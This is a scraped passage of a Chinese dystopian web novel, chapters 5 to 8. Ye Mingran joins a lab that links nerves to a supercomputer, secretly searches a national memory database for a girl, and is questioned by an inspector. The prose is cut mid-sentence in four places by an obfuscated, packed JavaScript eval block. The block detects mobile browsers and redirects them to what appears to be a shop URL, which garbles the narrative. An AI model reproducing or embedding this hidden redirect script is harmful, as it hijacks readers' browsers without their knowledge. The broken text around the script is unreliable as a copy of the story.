这时候一直盯着眼前的“赫塞”终于回过头从他面前那似乎有无比吸引力的事物里面抬起头来，“他早不在这里了，垃圾还是直接丢了吧。” 5. 第 5 章 赫塞回头的时候，叶明冉注意到赫塞似乎和他自己差不多的年龄，是个皮肤有点苍白的青年。他转过头时叶明冉也没有感到任何视线的压力，他抬头望向赫塞时，发现赫塞眼睛上面蒙着一层淡淡的白翳。 他看向什么地方的时候都是无神的——因为他看不见。 赫塞讲话的时候侧过了身子，让叶明冉瞥见了之前被赫塞挡住的一台黑色的的机器，有无数的导线从中延展了出来，散乱在了地上和桌子上，让叶明冉想起了以前看神经模型时看到的错综复杂的神经元。 他的眼睛不由自主地想寻找他们的尽头，却发现所谓的黑色的机器也只是像一条手臂一样，它的本体应该还隐藏在背后这片黑暗里。 叶明冉若有所思地看了一眼这个实验室二十多米高的天花板和一眼看不到尽头的墙壁，耳边听到了无数散热器工作时发出的轻微风扇声。 彼得看着他的样子，忽然转头就走了，“我在这里十年的经验告诉我，太机灵的人往往在这里呆不久。你叫什么名字，我这边不问人的本名，也记不住太长的名字。”老头的声音皮笑肉不笑。 叶明冉这才想起这两个人明明是一副东方人的面孔，却取了个西方人的名字，也是十分滑稽。 他爽快地放弃了给自己硬安一个类似于Ye的名字的打算，：“叶明冉……” 老头噗嗤一声笑了出来，带着对年轻人不听老人言吃亏在眼前的嘲讽：“随便你。赫塞，你带他熟悉一下基本的操作。” 叶明冉常常以为，因为过去记忆的缺失，他对自己的人生认识是非连续的。这种非连续性，让他无法有完整的经历和稳定的性情，导致他无法与那些有连续经历的人正常的交流。 今天，“交不到朋友”的叶明冉终于从赫塞身上体会到了一点久违的优越感，因为赫塞已经超过了叶明冉认识的底限——他根本就不出声。 “真理器”可以让一个人的声音直接传到另一个人的脑海，但是对于发声器官健全的人来说，说话这种“用声带”这种古老的仪式依然造就了人与人之间的基本联系。 特别是恨不得把真理的洗脑也屏蔽掉的叶明冉，其实特别不适应这种从脑内直接传来的声音。 “这台超级计算机是可以通过接入各神经直接操作的，你不要眼睛也能通过视觉神经直接‘看’到其中的信息流，之后计算机会在你的权限内对你的想法无条件服从。你的工作是对于全部国民的想法进行记录好分类，当然这份工作大多数由计算机完成，只有那些判断模糊或者内容较为异常的信息流需要人工审核。接入计算机系统的时候信息冲击量过于巨大，会对操作者的神经系统造成巨大的负担。因此进入系统前要先配制并服用神经缓冲剂，之后诱导剂会自动引导神经对接。”赫塞遵循彼得的建议，十分淡定地往叶明冉脑内灌输。 从刚才叶明冉就意识到他讲话就惜字如金毫无感情波动，现在虽然详细了很多，但是依然平淡无波。 叶明冉听得昏昏欲睡，趁着他一段讲完打算演示如何接入神经系统的空挡，问道：“赫塞，你觉得这份工作怎么样？” 赫塞抬起头，无神的眼睛忘了一眼叶明冉的方向，然后在叶明冉期待的目光里面开始在操作台上配起了缓冲剂。 他眼睛虽然看不见，但是对于药剂的位置却十分清楚。从背后看比起磕磕碰碰手忙脚乱跟着他开始配溶剂的叶明冉专业成千上百倍。 配好的两个人拿着试管坐在对接装置上，透明的玻璃罩缓缓落下。 “喝下去坐下去等五分钟。”赫塞说话了却只有简单地六个字。 叶明冉“……”他草草扫了一下说明，跟着赫塞一口把手里墨绿色的溶剂喝了下去。 缓冲剂的味道没有它的颜色那么猎奇，叶明冉喝下去的时候只觉得喝下了一嘴生理盐水，带着一股特殊的酸涩味。叶明冉和赫塞面对面坐着，等诱导剂起作用的那五分钟。叶明冉其实没有听懂自动对接是什么意思，刚想问赫塞，却发现赫塞的脸色透着灰白。 叶明冉脑子里面猛地浮现出刚才扫到的说明里面的并发症，心想“不会吧。” 这时候玻璃保护罩已经完全落了下来，为了防止神经对接时候的疼痛带来的自残行为，椅子上面的固定装置全开，把叶明冉整个人牢牢固定在椅子的上。 “赫塞！”叶明冉想叫，发现自己的嘴之张开了一点儿，声带已经完全没了声音，就像鱼缸里面的鱼一样——神经缓冲剂起作用了，它通过降低神经元的敏感度来避免接入时大量神经信息流涌入的刺激，同时也等于几乎切断了大脑对五感的控制。 隐隐约约，叶明冉感到有什么东西刺进了自己的皮肤，尽管他一点儿也感觉不到疼痛。 他用尽全身力气才使得眼睛的视线往下移了一点，看到有无数如同小蛇一样的导线向着自己涌过来。 诱导剂已经开始生效，一个个有效对接点被诱导剂标记出来，计算机的神经系统如同河底的水草，有条不紊的刺入皮下，精确地对接着每一个传输点。 叶明冉感到视线逐渐模糊，而神经系统接口如同有生命一样，把自己紧紧的包裹起来。 同时，眼前出现了另一个重叠的视界，汇集着无数文字声音画面影像的信息流如同洪水一般，仿佛要将他卷入其中。 叶明冉从未见过如此庞大的信息流，觉得这片蓝色的数据光海让人感到敬畏，以及不由自主的恐惧。 可是，他连五感都被固定住，无法躲避也无法出身，只能感受到这一路巨大的数据流冲刷过根本没有接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579052|143074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纳过这么大信息的神经。 与精神死刑时候，神经铡刀切过神经系统时那种让人难以忍受的剧痛不同，这种庞大的信息流涌入似乎要把叶明冉自身的记忆都冲刷开去。 那些关于组织和自由的理念，弯镰刀和猎犬，少女身上的玫瑰清香和散发着同样清香的信笺，…… 黑暗随之降临，仿佛有一层有着镶嵌着无坚不摧的坚硬沙粒的砂纸，在那些他认为已经深深镌刻在记忆之碑上永远不会磨损的记忆上，一次又一次地打磨过去。 中指上面的戒指忽然勒得他指节生疼。 最后一点光亮消失前，叶明冉看到赫塞双目紧闭，苍白的脸淹没在被疯长的神经导线中。 “醒醒……”叶明冉有谁好像在耳边很不耐烦地说话，勉强睁开眼睛却只看到一片黑暗里面闪烁着一点的光点，好像远离城镇的外围地方夏天的夜空。 “等等，自从有记忆以来一直在D区生活的我是怎么知道只有E区外围才有的夜空的。”叶明冉一个激灵，中断之前的记忆涌了出来。 神经系统接入的过程那个有点毛骨悚然的过程如此印象深刻，那种感觉五感都蒙了一层轻纱的钝感也并没有消失——叶明冉立刻反应过来自己现在恐怕不在实验室里面。 “他们说你是个精神死刑后还活蹦乱跳的优秀人才，怎么在进入操作台的过程中就失去意识了？”这是赫塞的声音，叶明冉从他语气里面听出了与之前不同的讽刺语气。 他清楚的听到赫塞的声音在自己耳畔传来，表示他是直接在和自己说话。 叶明冉心里有个感觉，这个被称为“操作台”的地方好像有点古怪，在这个空间里面的赫塞和外面也有点不同。 叶明冉试探着问道：“你在哪里？” 他听到自己的声音回荡在一个空荡荡的空间里，然后周遭如同被这个声音点亮了一样，缓缓地就亮了起来。 叶明冉的眼睛追寻着灯光，觉得这个灯光好像随着他目光移动的速度十分温和地配合着，这是一种奇妙的感觉，觉得仿佛世界周遭都和自己的想法无缝贴合。 不同于实验室里面刺眼的LED白色灯光，如同烛光一样的橘黄灯光缓缓照亮了操作台和它上面的各种复杂的案件，原来刚才黑暗中的闪光是操作台上的指示灯。 赫塞坐在一张黑色的椅子前面，一只手放在操作台上，半侧过身来居高临下地看着叶明冉。 “没想到你欣赏的是机械时代的古典美学……”赫塞看到叶明冉手忙脚乱地爬起来，比较贴心地移开了视线——叶明冉忽然间觉得很奇怪，他不是应该看不见么？ “按键和指示灯——虽然美丽严谨却毫无效率的东西”赫塞仿佛喃喃自语一样，伸手在离自己最近的一个指示灯上抹了一下。 6. 第 6 章 “哦，你是不是就是想要和我炫耀一下你有可能获得一个终生伴侣?其实你可以直接说，难道你们外面来的人讲话都那么迂回吗?不过你要是进来了巨蛋，就几乎永远见不到她了。你两个月可以外出一次，天哪谁会和你这种人建立婚约关系。”赫塞刻薄地说道，背过身去不看叶明冉了。 “就是她让我来这里的……”叶明冉解释道，觉得这有种越抹越黑的炫耀味道，声音越来越低。 赫塞背对叶明冉一动不动，“是你们在巨蛋里面太闭塞了吧……”叶明冉想，赫塞虽然对这个地方百般讽刺，但是出了这个实验室，哪怕还在巨蛋里面，真的可以生存下去么？ 叶明冉其实对巨蛋内部这种八卦毫无兴趣，他感兴趣的是别的事情，“对了，你刚才说的是记忆的检索？失去了的记忆也可以检索么？” 赫塞的背影稍微动了动，叶明冉觉得他简直可以明确看到赫塞在继续冷战和无法抵抗的回答欲间挣扎。 三秒钟后，赫塞忍无可忍地回过头，白了叶明冉一眼：“严格来说，一个人的记忆是不会失去的。”他想了想，觉得自己说得不够严谨，“就算失去了自己的记忆，理论上可以通过与自己接触过的人的记忆去找回来，两个人的记忆总是互相映衬的，就像从许多块镜子的碎片最终拼出一个完整的图像一样。特别是，‘真理’总是与思维共存的，所以至少可以通过数据库里面其他人的记忆把另一个人的记忆拼出来。除非……” 叶明冉按捺下心底的欣喜若狂，明明对“除非”后面的内容没有一丁点儿兴趣，也只好装作只是好奇的问道:“除非什么？” “除非这个人基本上没有和他人接触过，没法完成这种映射；或者已经有人这么组成过一个人的记忆，并且把它抽走了。”叶明冉总觉得赫塞说这话的时候有种没好气的成分。 不过，他从赫塞的话里面捕捉到了一丝有用的成分:“如果记忆是被抽走了，我们可以找到那个数据并且解读它么？” 赫塞看叶明冉的目光里面写着两个字“废话”，然后他有点警觉地问:“你问这个干嘛？” 叶明冉拿出了早就想好了一套说辞:“我有个朋友，因为精神状态不稳定被医生建议记忆部分消去，据说恢复后会重新把原来的记忆放进去，他母亲比较担心风险太大，每天嚎得像一个精神病人。”叶明冉目光诚恳，好像真的有这么个朋友一样。 “记忆消融是通过临床认证的合法手术，在本人和家人的同意下可以就能进行，主要是为了消除引起精神疾病的记忆根源。被删除的记忆前后需要前后无缝连接，否则会对病人留下严重的精神后遗症。这门技术只有专门的记忆操作执证操作师才会。而真正的操作师兼医师在整个国家里面还不到一百人。”赫塞说道，“不过再把记忆放进去的做法，前所未闻。无证行医是危害巨蛋安全的重罪，我看至少得一次精神死刑。应该没有人敢大摇大摆假扮医生，会不会是你听错了?” 搞了半天，假扮个医生草菅人命和摸一下不认识的女孩子的手一样都是精神死刑。叶明冉这时候忽然有点理解组织那套"巨蛋已经没有救了"的言论。 就是怎么能在这一千多万人里面找到这散落的一百人呢，不知道‘组织’里面有没有这种人。不过，这样的高级阶层应该都分布在A区吧。 “那我得趁下次出去赶快告诉我朋友的母亲，你认识或者可以介绍一个医生给我么？”巨蛋里面都是些隔绝了和外面联系的人，叶明冉打赌赫塞已经很久没有出去过了，但是还是出于礼节问了一下。 赫塞用一种奇异的目光看着他。 叶明冉：……难道他这种问法又在哪里伤害到了眼前这位敏感的玻璃心？ “我认识……但是恐怕帮不了你。”赫塞的声音透着比之前更加明显的不耐烦，向着黑暗里面指了指：“彼得就是神经操作师“，他在叶明冉惊讶的眼神里低声说补充道，“还有我。” 操作台像镜子一样的投影面映出了一个长发及肩的背影，叶明冉呆呆得看着她被海风吹起的发丝，好像自己融进了一幅夕阳沙滩的画卷里。 少女没有穿鞋子，赤脚站在沙滩上，忽然好像发现了什么似的,蹲了下来——叶明冉从拱起的沙土上面判断可能是一直寄居蟹。 寄居蟹可能没有发现有人已经发现了自己的行踪，正在若无其事的散步，少女的目光也随着它移动。渐渐的，叶明冉看见她的耳朵——她低头时海风忽然停了下来，她把被吹乱的头发别到了耳后——她慢慢地转过脸来，叶明冉看到了她小巧的鼻尖在小半边脸上投下的影子。 正当少女的半边脸就快要出现时，画面戛然而止。 “见鬼！”叶明冉用力拍了一下操作台，少女的影像好像一池被搅乱的湖水中的倒影一样消失了。 第四十一次，他试图通过搜索记忆库寻找少女的样子，但是因为样本记忆数据不完整而失败了。 操作台上冒出了一个倒计时三分钟沙漏状图标，提示叶明冉缓冲剂的标准药效快要过去。这就意味着叶明冉一天的工作过去了，三分钟后接他的班的赫塞会在接入进来，之后叶明冉就可以去公共餐厅领一份午饭，下午用来完成上午的工作报告。他今天没有时间再做一次搜索了。 自从第一次赫塞带着叶明冉进入操作台之后，他已经在这里工作了七个星期。 在巨蛋实验室的这份工作会单调成什么样，叶明冉之前虽然想过，但是实际在这里呆了两个月之后还是有了更加深刻的实感。 每天，他都在早上八点进入操作台，处理“真理”提取出来的那些无法由超级计算机判断其安全程度的记忆流。赫塞说的没错，计算机的性能其实非常好，所以叶明冉每天的工作都在20件上下。他通过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579053|143074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 检查关联记忆，搜索记忆库补完计算机判定所需要的数据，然后再由计算机来自动判定。极少数的时候，计算机依然无法判定他手动补足之后的记忆数据——这时候他只需要把这个记忆备份出去，交给彼得让他去分析了就行了。 叶明冉对这个工作的概括就是打杂。 虽说在他过去的一年里面，在D区的工作也是相当于打杂——他靠站在红灯区的门口帮探查“猎犬”们的行动，每一次正确的报告他们就给他账户上划一点钱。即便在D区这种靠近外部的低端地区，自动化也达到了相当的程度，所谓的洗碗之类的体力活早就已经不是人类可以竞争的范围了。记得他刚到时候还问过弯镰刀有没有洗碗工的工作，弯镰刀看着他的眼神就像看着一个古董：“你到底是在哪一本历史书里面读到的这种东西……” 之前叶明冉需要靠这种打杂去维持生存，以及与“组织”在不引起巨蛋警觉的情况下交换信息。 现在叶明冉发现钱在巨蛋里面不过是一种附加的道具而已，肚子饿了就可以去公共餐厅领取一份饭——不是D区路边饭馆贩卖的那种营养剂餐，而是真正的有饭和菜和汤的饭。 在叶明冉极度无聊的工作了一星期，熟悉了关于记忆搜索的基本流程时，忽然神差鬼使地想起了赫塞的话，“国民数据库是构造“真理”思维的基础。这个国度创立，以来的所有人的记忆都被储存在这里。每一秒都有你可以按照你所指定的条件搜索记忆——但是隐私权法不会允许你通过记忆追溯到任何可以特定个人的信息。现在，你可以随便找一段记忆试一试了。” 试一试，如果他要找一个人试一试。可是用谁来试好呢？“组织”的人可以屏蔽“真理”对他们的窥探，叶明冉觉得没有必要试；日常的朋友比如弯镰刀他们的行动就是思维本身，叶明冉没有兴趣试。 这时候，叶明冉才发现原来他的有记忆的仅仅只有一年的光阴过去是如此空白，而这段记忆却要去撑起他的整个人生——梦想与意义与全部。 然后叶明冉就想起了那个女孩子——那个使得自己可以免于极刑，却间接造成了自己现在的状况的女孩子。 “可我连她的脸都没见过……”然后叶明冉就凭着他自己记忆里面那个女孩子的样子——只有一个背影，开始了第一次搜索，并且越发不可收拾了起来。 从开始搜出完全不同的人，到渐渐特定了女孩子经常出现的地方，到她的日常的生活的小细节——周围的人无意之中的观察，在叶明冉心里面拼出了一个完整的女孩子来，除了一点——叶明冉从来没有看过她的正脸。 也许是她太耀眼了，或者被他搜索的这些记忆样本的主人太正直了——叶明冉想。不然为什么每次到最后与她对视的时刻到来，人们都会移开眼睛。 毕竟，叶明冉自己也是因为这样，放弃了直接看到她的机会。 7. 第 7 章 沙漏进入了最后三十秒倒计时，发出了轻微的“滴”的提示声，叶明冉看到赫塞模糊的影子出现在了操作室的门口。 叶明冉迅速把大屏幕放到记忆数据流的地方，同时清掉了所有的搜索记录。 最后十秒钟，叶明冉他把今天找到的，计算机也无法判断的记忆备份到一个钥匙状的存储装置里面——那个钥匙上面刻着一个号码，彼得和他说过，如果将来这个记忆的主人被判有罪，这个号码就会成为他的案卷编号，刑事编号，要是运气不好挂了可能要和国民ID一起刻在墓碑上。 “换班了，今天有一个异常的我已经备份了。”叶明冉站起来，用嘀咕一般的声音说道，撇了一眼对他视若无睹的赫塞。 他只在和叶明冉擦肩而过时，用目光表示了下他意识到了叶明冉的存在。 关上操作室的门时候，叶明冉看着操作台前赫塞的背影有点沮丧。现在，赫塞就和第一次见到叶明冉的时候一样一言不发。 他本来以为赫塞也许是一个可以拉拢的盟友，至少可以成为一个帮手的。 叶明冉走出了“门”，其实是诱导剂的效果和缓冲剂一起消退，原本连接在他的各个神经元上的各个细小的导线失去了连接的方向，一下子如同失去了生命的藤蔓枯萎了下去。 他在椅子上闭了一会儿眼睛，之后缓缓在实验室中有点刺眼的白光中睁开了眼睛。之前的钥匙化作了一个压缩文件，出现在了实验室的电脑屏幕上。 叶明冉按下保存的时候，想着等下要和彼得说一下这个异常的数据。他还想接着这次汇报顺便问一下他上次发现的那个异常记忆最后怎么样了——那些数据从他手里离开之后便再无消息，仿佛他只是一个传递数据的人形导线一样。 他又想起了赫塞，想起除了两人第一次进入操作台的时候，赫塞再也没有和叶明冉说过话。 叶明冉觉得，那个大谈特谈巨蛋的赫塞时他做梦的时候梦到的。赫塞就像叶明冉在路上看到的盲人们一样安静且目光呆滞，尽管在操作空间里面赫塞借助神经连接是看得见叶明冉的。 而且，那之后赫塞就没有和叶明冉一起进来过操作台。 彼得开始还比较担心，知道赫塞说他已经可以自己改变操作台的操作模式之后，老头才点点头继续去摸他的瓶瓶罐罐。自从赫塞说彼得是神经操作师之后，叶明冉终于对那些瓶瓶罐罐里面的内容有了了解——那些是神经接合剂。神经接合剂能否正确配置直接影响神经手术的成功程度，而且，还是他们每天都在使用的缓冲剂的主要原料之一。这个重要的原料偏偏配置过程每次都耗时极长，且没法由机器自动完成。 巨蛋研究了很久也没有研究出为什么一模一样的药剂，用精确到微克的计量加入同一个容器里面，像人类的手一样重复摇晃工艺依然没有办法成功配制出药剂，就如同某些菌类和珍惜动物，无论环境控制地如何完美，都无法人工培育出成活的后代来。 叶明冉想，这也许就是仅仅占人口基数5%的女性为什么会被列为稀有并加以保护的原因，因为生命是无法凭空孕育出来的。 黑色的导线裹成的茧如同融化一般消退下去，叶明冉打量了下实验室——彼得不在。这无疑为他的沮丧又增加了一点——他明明通过“真理器”，提前告诉过彼得他出来的时间的。 他想告诉彼得他可以帮助赫塞完成报告，因为据叶明冉所知，赫塞在实验室里面写报告是要靠一台语音打字机完成的。 不过，他的沮丧终于就在进入公共餐厅的时候消退了下去——今天的的配菜是天然食品。叶明冉在进入巨蛋的第一天，就发现巨蛋内的公共食堂不使用营养剂配餐。今天，叶明冉发现它们居然还会使用天然食品——尽管就是一丛绿油油的青菜叶子和一块形状不规则的牛肉。比起人造蔬菜和肉，这些天然的东西显得有些其貌不扬，但是叶明冉看到盘子里面东西时却身体自然而然的萌生了一种“饥饿”的反应。 叶明冉咽了一口口水，忽然想起“饥肠辘辘”这个词和“洗碗”这个工种一样，在词典的最新一次改版的时候都已经不再收录了。 不过，叶明冉忽然有种奇妙的感觉——说起来，他自己又到底是在哪里知道的关于洗碗和饥饿的基本概念呢？ 不知为何，他觉得自己自从来到巨蛋之后有一点不对劲，尽管他自己也说不出来究竟是哪儿不对劲——好像是脑子里面有些不知源头的东西浮现了出来。 叶明冉摆了摆头，把这些乱七八糟的念头从脑子里面抖了出去。 他用叉子戳了一下那块其貌不扬的牛肉，正想去品尝一下这可贵的天然食品的味道。 谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579054|143074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知这时，他脑内直接传来一个冰冷冷地声音：“CI48865479号，请尽快回到实验室，急需你协助调查。” 叶明冉拿着刀的手停在半空中，“收到了，等下就去。”他在脑子里面自言自语了一下，他知道很快屏蔽芯片的反馈器就会将他的话变成一个接受指令，让巨蛋知道他已经服从呼叫了。 不过，他有点疑惑为什么会在这个时候找他。“该不是我搜索记录没有清干净被人发现了吧？”叶明冉想。 他把那块珍贵的牛肉切成小块，·心里想到：“不会的……那最多只属于违规操作，不会有人因为这种无聊的事情而打扰别人珍贵的午餐时间。” 谁知道，他刚把叉子放进嘴里，脑内的电子音又说，“CI48865479号，收到请回答！收到请回答！” “知道了！”叶明冉忽然说出了口，寂静的公共餐厅里面，其他桌子上坐着的人的目光全部洒在叶明冉身上。 “这个人在干什么？”“不会吧刚才这么大声？”“什么叫不知道啊？”“你给我闭嘴不要随便打扰别人吃饭，哪儿的啊你？”明明谁的嘴巴都没有动，叶明冉却听到一句句露骨的指责和指指点点的议论，伴随着诉说着同样的意图的目光。 借助真理器在别人脑子里面胡乱灌输想法的人，叶明冉虽然听说过他们的存在，但是因为屏蔽器的存在他从未听到除了电子音以外的声音。 他用屏蔽器屏蔽了除了“真理”之外所有声音。而叶明冉之所以倾听“真理”，只是为了给出正确的反馈从而隐藏自己装了屏蔽器的事实而已。 而此时，尽管叶明冉已经给了屏蔽器正确的反馈指示，“真理”显然没有收到任何回答，依然叫嚣着“收到请回答！收到请回答！” 周围的人们的抱怨不过一次就停下了，然后他们坐下，低下头，把注意力集中在重要的饭菜上。 而电子音好像被设定了复读程序一样，重复的声音越来越刺耳。 叶明冉拿着叉子的手停在了半空中，他又想起自己今天尽管他和彼得说了什么时候会出来，彼得依然没有在办公室等他。 如果那个时候，他的交流指示根本没有传递到呢？ 叶明冉从来没有遇到过这种情况，但他已经意识到了一个可怕的可能性——屏蔽芯片可能失效了。 8. 第 8 章 这个念头刚一起来，叶明冉的心立刻发狂一般跳了起来。 完蛋了，他想。 他是因为屏蔽芯片的掩护才敢大摇大摆的进入巨蛋的。如果芯片模拟回答这个迷彩服失效，他的想法被巨蛋捕捉到了——他眼前浮现出鹰钩鼻那张阴险的脸，以及那个人人谈之色变的极刑。 等一下，如果“真理”已经可以捕捉他的想法了，那么他这些念头应该早就被那个超级计算机捕捉到了，那些检察官不可能让他悠悠闲闲地一直在这里混上这么久。 还是说，芯片只是部分坏了？ 人工模拟回答的那个部分，以及屏蔽除了“真理”以外的杂音的那个部分。 这样就讲得通了。 巨蛋呼唤判定警告的上限次数设置得其实相当多，因为对于那些习惯了“真理”介入的人来说，他们有时候其实无法分辨这到底是不是自己的想法，所以经常存在着不回应的现象。 叶明冉这时候就有点后悔没有好好读操作指南了，“真是”因为对方不回应而被锁定为异常对象是多少次来着？20次? 公共餐厅里面人，忽然看到刚才那个大喊大叫的小伙子丢下了他的叉子，叉子落在白瓷盘子上，发出“叮”地一声。 叶明冉无视了脑子里面那些“有病吧”，“要不要叫医疗队”，“暴殄天物啊”等一系列声音，拔腿飞快地向着实验室奔去。 如果不能通过反馈器去回应，那么执行行动命令本身就行了。 叶明冉几乎是用百米冲刺的速度在白色的走廊;内奔跑，反而触发了沿途的内部控诉设备。“警告，前方接近精密实验区，注意慢行。” 他咬了咬牙，这时候“真理”的无回应判定已经进行了几次了？12次？15次？ 叶明冉这时候已经无暇去管那个“精密实验区”到底是个什么东西了，他一路从四楼直接跑到三楼，又翻过了一到上面写着“禁止通行”的灰色隔离带，直接向着没有灯的那一块黑暗冲过去。 他之前从实验室出来的时候曾经无数次好奇过这里面到底是什么，但是每次都被彼得严厉的眼光给瞪得打消念头。 叶明冉打死也没想到，第一次穿进这一片区域竟然是为了抄近路——而且理所当然的什么也没看见。 他隔着十米路就看到实验室那扇小窗子透出了里面万年不变的惨白灯光，而且还开了一条小缝。 在叶明冉接近实验室的门三米内范围时，脑子里面一直在尖叫的“收到请回答”忽然像被人按了暂停键一样戛然而止。 叶明冉知道，他赌对了。他完成“回来”这个动作的时候，“真理”就判定他已经做出了服从命令的反馈。 这也证实了叶明冉先前的一个猜测——巨蛋的内部都是处于严密的监视中的，也不知道上次赫塞为什么敢有恃无恐地“诽谤”真理。 叶明冉在那块透出的光里面站定了三秒钟，擦了下额头上的汗珠，平复了他十分惊人的呼吸声。 这时候，他听到了一个有点沙哑的男人的声音，“这个小子有案底，本身就不大干净。要不要我顺便给你查一查？” 叶明冉觉得这怎么听上去都是在说自己，故意发出了咳嗽的声音，这才一把推开了门：“咳咳……彼得我回来了，你叫我干什么？害的我饭都没有吃。” 叶明冉看到，实验室常年没有人坐的会客沙发两个星期以来终于坐了第一个人。那个人一回头，叶明冉更是吃惊不已——男人穿着正式的制服，头发梳得一丝不苟，感觉是马上要去参加一个排队而不是查案的。只是，叶明冉无法忘记他令人印象深刻的鹰钩鼻。 “你……你是检察官P69876？”叶明冉问道，声音却透着不确定。他说不出哪里不对，眼前这个检察官有种说不出的别扭，声音也好像和之前在外面的时候不一样。 “小子，你的记性倒是还不错，这么一串警号都给记住了？”鹰钩鼻的话听起来像是在夸奖叶明冉，但是叶明冉却没有听出什么夸奖的成分，反而觉得阴阳怪气的。 “这个小子的记性不坏吧，为什么提出来的记忆会局部丢失？是没有按照手续操作？还是在谁的指使下故意做的？”他话锋一转，面向彼得。 彼得直接把这个客人晾在了沙发上，继续忙活着他手上的活计——叶明冉觉得，只有试管才是和他一起天长地久的。 “监察队分析手法本身就有问题，为什么要怪实验室？你们想要定什么人的罪，可以去走你们的内部程序。我们这里不会提供记忆库的编辑附加服务。”彼得尖锐地说道，一直耷拉着的眼皮从他的试管上抬了起来。 叶明冉第一次意识到，原来巨蛋内部的各个区域也许并不是像他想象中的那么团结。至少负责监测记忆的实验室和负责抓人的“监察队”关系就不怎么样。 叶明冉原来还以为，他们就是一个负责抓人一个负责给定罪的一丘之貉。 鹰钩鼻碰了个钉子，转向叶明冉“你认错人了。P69876是我的兄长，我是P69877。他在外面。我从他那里听到过你的事情。想不到你小子的运气一直很不错，每天遇到的就是护短的。” 他从自己身上摸出了一个圆形的类似镜子的东西，抬到了叶明冉的鼻子下面：“老头说他没有授意你。我姑且相信他，这样我只要直接问你就行了？这个人你认识么？” 这个“鹰钩鼻”靠近的时候，叶明冉才闻到一股类似香粉的味道。叶明冉终于知道两个鹰钩鼻的区别在哪里了——面前这一个要精细的多。 另一个鹰钩鼻，叶明冉想，要是知道他的双胞胎哥哥在巨蛋里面过着另一种生活会怎么想呢？ 眼前的镜子是一块巨蛋里面随处可见的移动投影屏幕，里面出来一个红头发的鸡冠头的身影。叶明冉觉得这个影子有点眼熟——除了鸡冠头这个发型。 “我们筛查出来，记忆主人本体并没有什么问题，真正引起警报的是含有这个人的记忆数据。”鹰钩鼻说道。 “这是我们从计算机里面找到的第一百一十二个疑似是同一人的背影，其中一百个人里面触动了我们的反人类罪一级报警系统。我们怀疑他是在进行某种有反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579055|143074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人类倾向的宣传活动。”P69877说道。 “你们是在和我开玩笑么，一百多个样本里面居然没有一个是含有正脸的？” “如果你们可以协助我们，把这个红发男人的交际网给搜出来，最好可以确定他和同伙的身份。我可以在老大面前给你们说说好话，至少可以换个好点的地方，不是么？”P17526号装作打量了下天花板，露出一点怜悯的表情。 叶明冉的脑子正在快速想着红头发的事，彼得继续用慢动作配置着他的宝贝溶剂。 P69877的鹰钩鼻忽然抽动了一下，“呵呵，你们不干，那我去找精密实验室给我干。”他甩下一句话就摔门而去。 叶明冉想大声讽刺一下他一个人居然落荒而逃的丢人模样，却听到“啪——”一声清脆的响声，原来彼得居然把他的宝贝玻璃试管打碎了一根。 彼得虽然是个中年人，但是叶明冉总觉得他老眼昏花地厉害，连忙赶过去收拾那些碎玻璃。 碎玻璃里面装的是神经结合剂，可以在操作室控制的神经电流的引导下，精确地接合病患的神经连接处。 叶明冉一边收拾着地上的碎玻璃，一边想问问彼得为什么如此动摇，一边又开始担心红头发和组织的安危了。 他觉得一定得想个办法把巨蛋已经锁定了对象的事情说出去，让他们日后打交道的时候小心点。 可是怎么办呢？用来漂流的睡眠剂要两个月才给一份，按照规定最早也要下个礼拜了。这时候，所谓的精密实验室可以分析出多少东西，叶明冉不得而知，但是可以肯定的是，越是拖延组织暴露的危险就更加一分。 叶明冉并不是“组织”的一员，但是他知道他不会对组织被毁灭视而不见。 叶明冉心不在焉地去收地上的玻璃片，没留神经结合剂粘了一手。 这东西就是一个强力胶水，只要沾上了就只好靠操作师去解开。叶明冉前几次手贱去摸彼得的试管，最后被黏在实验架上，都是靠彼得解救的。 这次，叶明冉依然打算呼唤彼得。他抬起被粘合剂粘合在一起的五指，向着彼得可怜地挥了挥手，然后忽然看到了自己的手背上面流动着一圈诡异的液体，闪闪发光。 